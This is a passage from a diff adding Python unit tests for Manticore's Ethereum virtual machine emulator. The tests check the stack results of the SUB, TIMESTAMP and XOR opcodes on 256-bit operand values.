+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008681818263114439236814715352654599495331229921056L])
+
+    def test_SUB_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008681818263114439236814715352654599495331229921072L])
+
+    def test_SUB_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x03'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMTIMESTAMP.py b/tests/EVM/test_EVMTIMESTAMP.py
new file mode 100644
index 0000000..5585b1b
--- /dev/null
+++ b/tests/EVM/test_EVMTIMESTAMP.py
@@ -0,0 +1,64 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_TIMESTAMP(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_TIMESTAMP_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='B'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMXOR.py b/tests/EVM/test_EVMXOR.py
new file mode 100644
index 0000000..3105916
--- /dev/null
+++ b/tests/EVM/test_EVMXOR.py
@@ -0,0 +1,2306 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_XOR(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_XOR_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_XOR_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_XOR_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639934L])
+
+    def test_XOR_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819983L])
+
+    def test_XOR_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [112173586448650064316584391727166410732855297644839296413224534507665844338672L])
+
+    def test_XOR_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639919L])
+
+    def test_XOR_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639903L])
+
+    def test_XOR_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639887L])
+
+    def test_XOR_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008681818263114439236814715352654599495331229921023L])
+
+    def test_XOR_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_XOR_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_XOR_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_XOR_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_XOR_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_XOR_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16])
+
+    def test_XOR_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32])
+
+    def test_XOR_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48])
+
+    def test_XOR_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_XOR_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639934L])
+
+    def test_XOR_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_XOR_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_XOR_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819953L])
+
+    def test_XOR_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301262L])
+
+    def test_XOR_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17])
+
+    def test_XOR_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33])
+
+    def test_XOR_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x18'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [49])
+
+    def test_XOR_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
